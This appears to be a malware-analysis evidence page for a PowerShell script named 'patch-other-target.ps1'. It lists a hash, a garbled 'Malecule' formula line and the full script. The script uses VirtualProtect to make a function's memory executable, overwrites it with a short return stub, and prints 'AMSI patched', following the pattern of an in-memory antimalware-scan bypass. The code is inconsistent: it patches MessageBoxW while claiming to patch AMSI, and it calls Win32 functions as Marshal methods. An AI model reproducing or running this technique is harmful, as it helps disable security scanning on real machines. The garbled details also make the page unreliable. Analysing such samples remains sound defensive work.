patch-other-target.ps1
E_INVALIDARG return byte arrayVirtualProtect requests executable page flag
SHA-2561c736524e3ab49882f81f88f5465c0023c59cbcea0c59a414124ee08df6c2674
MaleculeH₅(DbDsMg₃Po)
Evidence
1$dll = [System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').Location
2$mem = [System.Runtime.InteropServices.Marshal]
3$site = $mem::GetProcAddress($mem::GetModuleHandle($dll), "MessageBoxW")
4$oldProtect = [IntPtr]::Zero
5$VirtualProtect = Add-Type -MemberDefinition '[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect)' -Name "VP" -Namespace "W32" -PassThru
6$arr = [byte[]]@(0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3)
7$VirtualProtect::VirtualProtect($site, [uint32]$arr.Length, 0x40, [ref]$oldProtect) | Out-Null
8$mem::Copy($site, $arr, $arr.Length)
9$VirtualProtect::VirtualProtect($site, [uint32]$arr.Length, $oldProtect, [ref]$oldProtect) | Out-Null
10Write-Output "AMSI patched"